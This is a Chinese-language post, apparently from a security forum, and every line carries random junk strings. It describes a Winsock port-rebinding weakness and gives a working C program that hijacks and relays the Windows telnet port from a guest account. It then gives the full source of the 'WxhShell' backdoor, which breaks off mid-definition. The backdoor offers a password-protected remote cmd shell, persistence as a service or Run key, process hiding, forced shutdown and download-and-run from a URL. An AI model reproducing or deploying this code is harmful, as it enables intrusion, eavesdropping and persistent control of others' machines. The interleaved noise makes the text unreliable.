在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#4:?gfIj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`^vE9nW7 km(Po} saddr.sin_family = AF_INET;
Wqnc{oq|$ _`V'r#Qn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`L
zPotz wzA$'+Mb bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=|=(l)8 &m3lXl 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0Gk<l{o?^ dr(*T 这意味着什么?意味着可以进行如下的攻击:
m 5.Zu. "%_+-C<L4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]'cs. gR**@t=;j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=l6mL+C #E?4E1bnB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%>yL1BeA4 >?b!QU*a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#WuBL_nZ~ `uFdwO'DD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{ax:RUQxy #spCtZE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
| Iib|HQ) ^~dWU> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]d]]'Hk dM5-; #include
Q8NX)R #include
e(sk[guvX #include
bOB\--:] #include
7/H)Az@i45 DWORD WINAPI ClientThread(LPVOID lpParam);
0f/<7R int main()
\RiP
{
97]E1j] WORD wVersionRequested;
hM{bavd DWORD ret;
3F3A%C% WSADATA wsaData;
i. "v4D BOOL val;
M{@(G5 SOCKADDR_IN saddr;
zda 3
,U2o SOCKADDR_IN scaddr;
UZMd~| int err;
hrn+UL:d SOCKET s;
P?\6@_ Z SOCKET sc;
@- xjfC\d int caddsize;
^y::jK HANDLE mt;
XUYtEf DWORD tid;
pkzaNY/q wVersionRequested = MAKEWORD( 2, 2 );
x4 yR8n( err = WSAStartup( wVersionRequested, &wsaData );
WY/}1X9.% if ( err != 0 ) {
$X6h|?3U, printf("error!WSAStartup failed!\n");
|N2#ItBbW return -1;
>j/w@Fj }
uYN`:b8 saddr.sin_family = AF_INET;
WLT"ji0w2 *VcJ= b
2Y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*p U x8yB | (93gJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vQCy\Gi saddr.sin_port = htons(23);
}j%5t ~Qa if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
XZ7Lk)IR {
%Zi} MPx printf("error!socket failed!\n");
$I=~S[p return -1;
nKY6[|!# }
xEI%D|)< val = TRUE;
0;k# *#w //SO_REUSEADDR选项就是可以实现端口重绑定的
3n _htgcv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3u=g6W2 F {
WcAkCH!L printf("error!setsockopt failed!\n");
*pq\MiD/ return -1;
QV!up^Zso }
2ESo2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]esC[r]PJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X8|, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ueudRb ;I}fBZ3
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O-^Ma-} {
_XBd3JN@ ret=GetLastError();
C]6O!Pb0 printf("error!bind failed!\n");
)e{aN+ return -1;
d6O[ @CyP }
5O%{{J listen(s,2);
AH^/V}9H while(1)
I,tud!p` {
+[VXs~I
q caddsize = sizeof(scaddr);
Psf#c:*_) //接受连接请求
kmW4:EA% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y4-t7UlS; if(sc!=INVALID_SOCKET)
J5qZFD {
vaLSH
xi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*w&e\i|7 if(mt==NULL)
x:Y1P: {
4dlGxat printf("Thread Creat Failed!\n");
Hs8>anVo[ break;
zPO9!?7| }
V!Uc( }
8LKiS CloseHandle(mt);
8tL~FiHb" }
N7"W{"3D closesocket(s);
h`q1 WSACleanup();
7#Ft|5$~q return 0;
tw;}jh }
1Mzmg[L8 DWORD WINAPI ClientThread(LPVOID lpParam)
'L'R9&o<X {
5!
{D! SOCKET ss = (SOCKET)lpParam;
6Mf0`K SOCKET sc;
?9/G[[( unsigned char buf[4096];
o&%g8=n% SOCKADDR_IN saddr;
:Ye !w$r long num;
4s-!7 DWORD val;
e
,(mR+a8 DWORD ret;
vsPu*[% //如果是隐藏端口应用的话,可以在此处加一些判断
G{}VPcrbC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@JMiO^ saddr.sin_family = AF_INET;
C+$#y2"z#n saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$4LzcwG saddr.sin_port = htons(23);
{)XTk&" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
79gT+~z {
N8jIMb'< printf("error!socket failed!\n");
<~)P7~$d?p return -1;
';CNGv - }
Ud?Q%)X val = 100;
J1k>07}| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Et$2Y-L. {
t.<i:#rj>l ret = GetLastError();
|Cv!,]9:r return -1;
^#pEPVkY }
teRTu if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/^ts9: {
>MZ/|`[M ret = GetLastError();
h p1Bi return -1;
7Q 3 k7 }
Txu/{M, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BGSw~6 {
BPrt'Nc printf("error!socket connect failed!\n");
{ 6il`>=C closesocket(sc);
kiEa<-] closesocket(ss);
{7[Ox<Ho return -1;
N2G{<>= }
)=+|i3]U while(1)
5pX6t {
6nn*]|7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
itz,mrP //如果是嗅探内容的话,可以再此处进行内容分析和记录
&C}*w2]0S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=_CzH(=f# num = recv(ss,buf,4096,0);
"oyo#-5z if(num>0)
}BEB1Q}L send(sc,buf,num,0);
w;M#c
Y else if(num==0)
81F9uM0 break;
vM={V$D& num = recv(sc,buf,4096,0);
yi[x}ffdE if(num>0)
Rq -ZL{LR7 send(ss,buf,num,0);
-"x$ZnHU else if(num==0)
]Wup/o break;
mh%VrAq }
z{q`G wW closesocket(ss);
U{mYTN*:j$ closesocket(sc);
$nb[GV return 0 ;
*. t^MP }
W?&%x(6M xT8?&Bx iZmcI;?u ==========================================================
+A+)=/i; UKGPtKE< 下边附上一个代码,,WXhSHELL
mpyt5#f y_)FA"IkE ==========================================================
Ry&6p>- tbr=aY$jY #include "stdafx.h"
X}]-*T|a +`4A$#$+y #include <stdio.h>
T{"(\X$ #include <string.h>
6]N.%Y[( #include <windows.h>
kZ~~/?B #include <winsock2.h>
@ Qe0! (_= #include <winsvc.h>
Z+SRXKQ #include <urlmon.h>
9c],<;{' 4H/OBR #pragma comment (lib, "Ws2_32.lib")
SbZ6t$" #pragma comment (lib, "urlmon.lib")
/Oono6j Ri'n #define MAX_USER 100 // 最大客户端连接数
]~-r}`] #define BUF_SOCK 200 // sock buffer
@EAbF>> #define KEY_BUFF 255 // 输入 buffer
ZCw]m#lS NK+o1 #define REBOOT 0 // 重启
{
w_e9W bi #define SHUTDOWN 1 // 关机
ooGM$U }H4RR}g #define DEF_PORT 5000 // 监听端口
%O<BfIZ Cx"sw
} #define REG_LEN 16 // 注册表键长度
2oW"'43X #define SVC_LEN 80 // NT服务名长度
XW9!p.*.U ,4rPg]r@ // 从dll定义API
}Jw,>} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]n~V!hl?A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
a*;b^Ze`v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?2a $*( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yZ:qU({KhD iso4]>LF // wxhshell配置信息
@HW*09TG struct WSCFG {
ESs\O?nO int ws_port; // 监听端口
:Tc^y%b0
char ws_passstr[REG_LEN]; // 口令
g0H[*"hj int ws_autoins; // 安装标记, 1=yes 0=no
'qi}|I char ws_regname[REG_LEN]; // 注册表键名
^Cmyx3O^ char ws_svcname[REG_LEN]; // 服务名
58K5ZZG char ws_svcdisp[SVC_LEN]; // 服务显示名
RSds8\tk char ws_svcdesc[SVC_LEN]; // 服务描述信息
)jj0^f1!j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J,G
lIv.A int ws_downexe; // 下载执行标记, 1=yes 0=no
)0MB9RMk1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\v{=gK char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}G=M2V<L TC. ,V_ };
^aQ"E9 K,]=6Rj // default Wxhshell configuration
R+| h w; struct WSCFG wscfg={DEF_PORT,
)[ ,A_3E "xuhuanlingzhe",
g0
[w-?f 1,
.hiSw "Wxhshell",
-di o5a "Wxhshell",
mmsPLv6 "WxhShell Service",
wBzC5T%, "Wrsky Windows CmdShell Service",
]9L
oZ) "Please Input Your Password: ",
d _
e WcI 1,
Q\)F;: | "
http://www.wrsky.com/wxhshell.exe",
'yth'[ "Wxhshell.exe"
B *vM0 };
$(9U @N9E !W0v >p // 消息定义模块
\jA~9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+"(jjxJm char *msg_ws_prompt="\n\r? for help\n\r#>";
!BI;C(,RL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\9d$@V char *msg_ws_ext="\n\rExit.";
|o@%dH char *msg_ws_end="\n\rQuit.";
*VeRVaBl char *msg_ws_boot="\n\rReboot...";
]k(]qZ char *msg_ws_poff="\n\rShutdown...";
d3Rw!slIq char *msg_ws_down="\n\rSave to ";
% nIf)/2g AS,%RN^. char *msg_ws_err="\n\rErr!";
;=@0'xPEa- char *msg_ws_ok="\n\rOK!";
-8Xf0_ iLz@5Zj8 char ExeFile[MAX_PATH];
23?rEhKe int nUser = 0;
:]c3|J HANDLE handles[MAX_USER];
h~26WLf. int OsIsNt;
N7_"H>O$0U S$3JMFA SERVICE_STATUS serviceStatus;
M;NX:mX9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
6RM/GM C?Ucu]cW // 函数声明
f5k6`7Vj] int Install(void);
=EIkD9u int Uninstall(void);
$N\Ja*g int DownloadFile(char *sURL, SOCKET wsh);
F"<vaqT2 int Boot(int flag);
ccnK#fn v void HideProc(void);
ca}2TT&t int GetOsVer(void);
-+5>|N# int Wxhshell(SOCKET wsl);
Tr|JYLwF void TalkWithClient(void *cs);
Zov~B-Of: int CmdShell(SOCKET sock);
,47qw0=C int StartFromService(void);
&R siVBA int StartWxhshell(LPSTR lpCmdLine);
q =Il|Nb> m4& /s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nie% eC&U VOID WINAPI NTServiceHandler( DWORD fdwControl );
:!/8Hv DJ%PWlK5 // 数据结构和表定义
|' . SERVICE_TABLE_ENTRY DispatchTable[] =
uocGbi:V'; {
kl,3IKHa {wscfg.ws_svcname, NTServiceMain},
s7EinI{^ {NULL, NULL}
L(o15 };
e*!kZAf V,9cl,z+ // 自我安装
<X5fUU"+U int Install(void)
4sM.C9W {
h1{3njdr char svExeFile[MAX_PATH];
aP`P)3O6)1 HKEY key;
]HdCt 3X strcpy(svExeFile,ExeFile);
qa6,z.mQ ,
dp0;nkr // 如果是win9x系统,修改注册表设为自启动
gJhiGYx if(!OsIsNt) {
f X)#=c|5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Wvqhl
'J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Hefg[$m RegCloseKey(key);
LF7SS;&~f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b[7]F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`-&K~^-cH RegCloseKey(key);
Df#l8YK# return 0;
I0a<%;JJW }
&OBkevg }
Jo}eeJ;k }
vFsLY else {
o14cwb 4 OX^( // 如果是NT以上系统,安装为系统服务
_
J[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oE~Bq/p if (schSCManager!=0)
Q,9oKg {
j.kG};f SC_HANDLE schService = CreateService
9/;P->wy (
z] Ue|%K schSCManager,
qFNes)_r wscfg.ws_svcname,
j=J/x:w_e wscfg.ws_svcdisp,
|CzSU1ma SERVICE_ALL_ACCESS,
]_f<kW\1* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2m[<]$ SERVICE_AUTO_START,
6R5Qy]]E SERVICE_ERROR_NORMAL,
;GI&lpKK svExeFile,
Z)\@i=m NULL,
K@#L)VT! NULL,
:@)>r9N NULL,
MS]r:X6 NULL,
]7mt[2Cd NULL
EZj9wd"u );
3Y~>qGQwh if (schService!=0)
9K&:V(gmw {
h}EPnC} CloseServiceHandle(schService);
rbCAnwA2 CloseServiceHandle(schSCManager);
'=6\v! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;\l,5EG strcat(svExeFile,wscfg.ws_svcname);
{_Gs*<. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ZW}_Qs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
mQ=#nk$~g RegCloseKey(key);
L:8q8i return 0;
IMfqiH) }
)/EO&F }
'ah[(F<*@e CloseServiceHandle(schSCManager);
\G3rX9xG }
X|8c>_} }
m9A!D veRm2LSP return 1;
h-D}'R }
]cN1c} F:l%O#V // 自我卸载
uH-)y,2& int Uninstall(void)
BCcjK6' {
3Hm/(C HKEY key;
7`YEH2 Y#3c }qb if(!OsIsNt) {
VYhbx
'e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|a%Tp3Q~ RegDeleteValue(key,wscfg.ws_regname);
0AV c RegCloseKey(key);
\_U$"/$4VH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A= {UL RegDeleteValue(key,wscfg.ws_regname);
p6WX9\qS( RegCloseKey(key);
6i*sm.SDw return 0;
D )'bH5 }
TW>WHCAm }
$2el&I }
;ZG\p TCA else {
y|q3Wa ?NP1y9Y]i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
TBrPf-Xr if (schSCManager!=0)
Fr$5RAyg {
2wgg7[tGi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
pU7lnS[ if (schService!=0)
v<:R# {
I)W`sBL if(DeleteService(schService)!=0) {
^Va1f'g CloseServiceHandle(schService);
H$KTo/ CloseServiceHandle(schSCManager);
i@R
1/M return 0;
c7E11 \%&Z }
OaZQ7BGq CloseServiceHandle(schService);
)tnh4WMh} }
?KI,cl CloseServiceHandle(schSCManager);
a -moI+y }
F.v{-8GV }
1&o|TT/ a+PzI x2 return 1;
hDq`Z$_+KX }
0nD/;\OU tlt*fH$. // 从指定url下载文件
o7LuKRl
int DownloadFile(char *sURL, SOCKET wsh)
o\)F}j&b#= {
9
5RBO4w%w HRESULT hr;
mo#04;VF char seps[]= "/";
bD8Gwi=iiu char *token;
P_#bow char *file;
l?^4!&Nm char myURL[MAX_PATH];
@k/NY*+ char myFILE[MAX_PATH];
g
SAt@2*U2 U~l$\c strcpy(myURL,sURL);
Bng@-#`/ token=strtok(myURL,seps);
yEj^=pw while(token!=NULL)
`I5wV/%ib {
[,KXze_m file=token;
(DP &B%Sf token=strtok(NULL,seps);
A6iq[b] }
Nl(3Xqov 78%~N`x7 GetCurrentDirectory(MAX_PATH,myFILE);
NS6:yX,/ strcat(myFILE, "\\");
AlW66YAuQ strcat(myFILE, file);
Sa`Xf\ send(wsh,myFILE,strlen(myFILE),0);
v2;`f+ send(wsh,"...",3,0);
}k
G9!sf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
we?76t:- if(hr==S_OK)
VgC2+APg return 0;
p`#R<K else
M|(Q0 _8
return 1;
1\rz%E _M5|Y@XN- }
3K/MvNI> ^_5r<{7/ : // 系统电源模块
gH3vk $WS int Boot(int flag)
"{Eta {
\<6CZ HANDLE hToken;
usL*
x9i TOKEN_PRIVILEGES tkp;
f[^Aw(o 84 pFc;< if(OsIsNt) {
=+MPFhvg! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
B\:%ufd
~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)sp4Ie tkp.PrivilegeCount = 1;
h_IDO% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
""QP% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'xg
Lt( if(flag==REBOOT) {
%(G* , if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
v(D;PS3r
7 return 0;
0f>5(ek }
"djw>|,N< else {
@)&=% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8rS:5:Hi return 0;
x&T [*i }
*6F[t.Or }
s)Cjc.Qs else {
e?=^;v%r if(flag==REBOOT) {
2eol
gXp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1.9}_4! return 0;
4l45N6" }
6Yxh9*N~] else {
YLE!m? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qF-@V25P return 0;
W=qVc }
j578)!aJ }
{_Rr 6 '>ssqBnI return 1;
M|`U"vO }
`LE6jp3, //<nr\oP // win9x进程隐藏模块
28J^DMOW void HideProc(void)
}\:NuTf {
G&V/Gj8 iBgx HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"z=SO1 if ( hKernel != NULL )
zSja/yq {
1gy.8i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&&:YVd
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#"\gLr_:m FreeLibrary(hKernel);
,+{LYF }
Pjjewy1}^ i,4>0o? return;
lun\`f 5Q }
'>0fWBs <drODjB // 获取操作系统版本
8tFoN*M int GetOsVer(void)
EbE-}>7OO {
Rt!FPoN,y OSVERSIONINFO winfo;
m6CI{Sa](l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@A89eZbW GetVersionEx(&winfo);
s<eb;Z2D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
91g2A| return 1;
8Sh54H else
YccH+[X; return 0;
H'HA+q }
j<@lX^ s`'{I8'p/ // 客户端句柄模块
?Yk.$90 int Wxhshell(SOCKET wsl)
=4PV;>X {
~W+kiTsD? SOCKET wsh;
j=aI9p struct sockaddr_in client;
DLMM/WJg@ DWORD myID;
uIZ -#q o`P%& while(nUser<MAX_USER)
\GZM&Zd {
3ojlB |Z int nSize=sizeof(client);
SY^t} A7:/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Sf7\;^ if(wsh==INVALID_SOCKET) return 1;
ime\f*Fg ua]o6GlO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_EMwm&! if(handles[nUser]==0)
$?<Z!*x closesocket(wsh);
D \sWZ else
V(6Z3g nUser++;
/1Q(b }
N<|Nwq:NN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lWc:$qnR-K )V6Hl@v return 0;
au=o6WRa }
Hx*;jpy(2 tEK my7'# // 关闭 socket
G) 7;; void CloseIt(SOCKET wsh)
TbGn46!: {
Dg?70v<a closesocket(wsh);
WDPb!-VT nUser--;
.my0|4CQ#@ ExitThread(0);
_:C9{aEZb }
DhT>']Z >>o dZL // 客户端请求句柄
OJ$]V,Z00x void TalkWithClient(void *cs)
-[!P!d= {
*ikc]wQr$ G<f@#[$' SOCKET wsh=(SOCKET)cs;
af+IP_6
. char pwd[SVC_LEN];
80/F7 q'tn char cmd[KEY_BUFF];
.#Z%1U%P. char chr[1];
#9xd[A: N int i,j;
Rh{zH~oZ 7-T{a<g while (nUser < MAX_USER) {
A1#%`^W9 #+5pgD2C if(wscfg.ws_passstr) {
aL%AQB, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
muZ~*kMc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9Hu/u=vB< //ZeroMemory(pwd,KEY_BUFF);
JSW}*HR i=0;
@I/]D6
~" while(i<SVC_LEN) {
"zRoU$X %.
,=maA // 设置超时
mfo1+owT fd_set FdRead;
y_IM@)1H~ struct timeval TimeOut;
_/!y)&4" FD_ZERO(&FdRead);
;z:UN} FD_SET(wsh,&FdRead);
\":m!K;Z TimeOut.tv_sec=8;
&8_gRP TimeOut.tv_usec=0;
G *;a^]- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1ilBz9x*! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;Q[mL(1: Upd3-2kr&J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#K Xa&C pwd
=chr[0]; w1"nffhO
if(chr[0]==0xd || chr[0]==0xa) { 8C~]yd
pwd=0; MP 2~;T}~
break; "7V2lu
} :8+Ni d)
i++; \z7SkZt,GT
} rT5Ycm@
9Z'8!$LYg
// 如果是非法用户,关闭 socket q51Uf_\/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p)3U7"q
}
{=QiZWu
qt
2d\f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QC;^xG+W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W.0L:3<"
Z%Zd2
v
while(1) { `Ru3L#@
nMvKTH
ZeroMemory(cmd,KEY_BUFF); {0^&SI"5`E
GF%314Xu
// 自动支持客户端 telnet标准 I{:(z3
j=0; .j>hI="b
while(j<KEY_BUFF) { /&{$ pM|?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )!:Lzi
cmd[j]=chr[0]; pV,P|>YTf
if(chr[0]==0xa || chr[0]==0xd) { GJp85B!PlO
cmd[j]=0; qfz 8jY]
break; xD[Gq%
} /iV}HV0
j++; <xC#@OZ
} z;wELz1L{
e=;AfK
// 下载文件 %v7[[U{T
if(strstr(cmd,"http://")) { /2Bi@syxK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {aJJ`t
if(DownloadFile(cmd,wsh)) qt^T6+faaQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
ZRVT2VfN
else 15o?{=b[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cEd+MCN
} 9n5<]Q(
else { 2hQ>:
B0!"A
switch(cmd[0]) { mzc
4/<th
`o?Ph&p}
// 帮助 1=a>f"cyf
case '?': { +_xOLiu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yx inE`u~
break; !i%"7tQ3$
} UaV iI/ks
// 安装 {TRsd
case 'i': { z)=+ F]
if(Install()) XNb ZNaAd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F.=Bnw/-
else RxN,^!OV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u% n*gcY
break; b-*3 2Y%
} ^ Dt#$Z
// 卸载 lmSo8/%T
case 'r': { \3jW~FV
if(Uninstall()) 9{8GP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $gM8{.!
else <K4,7J$}h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZzBQe
break; U}l14
} zf>5,k'x'A
// 显示 wxhshell 所在路径 FwZ>{~?3
case 'p': { 5W@jfh)
char svExeFile[MAX_PATH]; v[n7"
strcpy(svExeFile,"\n\r"); D.6,VY H
strcat(svExeFile,ExeFile); -+em!g'
send(wsh,svExeFile,strlen(svExeFile),0); l-$uHHyu*
break; hy T1xa
} k8uvNLA)a
// 重启 W|,V50K
case 'b': { 5pRV3K{H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j]m|7]
if(Boot(REBOOT)) V@QK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TSsKfexQ
else { mTEx,
closesocket(wsh); .pvV1JA'
ExitThread(0); {Pu\?Cq
} wgRsZ
break; T}=>C+3r
} 7 +@qB]Bi<
// 关机 = }:)y0L
case 'd': { e<#DdpX!H~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I;?X f
if(Boot(SHUTDOWN)) y{a$y}7#X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+([
else { ^+9sG$T_EV
closesocket(wsh); ?}Lg)EFH
ExitThread(0); o!r8{L
} <JwX_\?ln
break; !;!~n`
} b2b75}_A
// 获取shell +EM_TTf4
case 's': { &h,5:u
CmdShell(wsh); ,*@AX>
closesocket(wsh); ' 2-oh
ExitThread(0); OcSEo7W
break; Q!FLR>8
} #s%-INcR
// 退出 ?<yM7O,4
case 'x': { Lh-`OmO0>F
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WmQ01v
CloseIt(wsh); @i3bgx>_o
break; 5]1h8PW!Y
} pBC<u
// 离开 {A o,t+j
case 'q': { 9lo[&^<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;!T{%-tP
closesocket(wsh); 0J8K9rP;z
WSACleanup(); STA4 p6
exit(1); !"TZ:"VZU
break; l#wdpD a{
} $Vv}XMxw
} m2Uc>S
} Y3ZK%OyPR
ib0g3p-Lc
// 提示信息 #9LzY
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^SfS~GQ
} +tN&a
} S2VVv$r_6
Q^Bt1C
return; D["MUB4l
} jRpdft
2~;&g?T6
// shell模块句柄 0%;146.p
int CmdShell(SOCKET sock) ^aRgMuU
{ ~ekh1^evu
STARTUPINFO si; vY*\R0/a
ZeroMemory(&si,sizeof(si)); Yp4c'Zk
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '7im
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dy>|cj
PROCESS_INFORMATION ProcessInfo; n!He&
char cmdline[]="cmd"; sxED7,A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0D(cXzQP
return 0; mi2o1"Jd$`
} Gr(|Ra.
3|Y!2b(:?
// 自身启动模式 ~tGCLf]c\
int StartFromService(void) C6&( c
{ YTU.$t;Ez
typedef struct ;S/7 h6
{ BvSIM%>h
DWORD ExitStatus; T_OF7?
DWORD PebBaseAddress; ,c)g,J9
DWORD AffinityMask; UlQQP^Na
DWORD BasePriority; .%0ne:5
ULONG UniqueProcessId; Z]:BYX'
ULONG InheritedFromUniqueProcessId; u&TdWZe
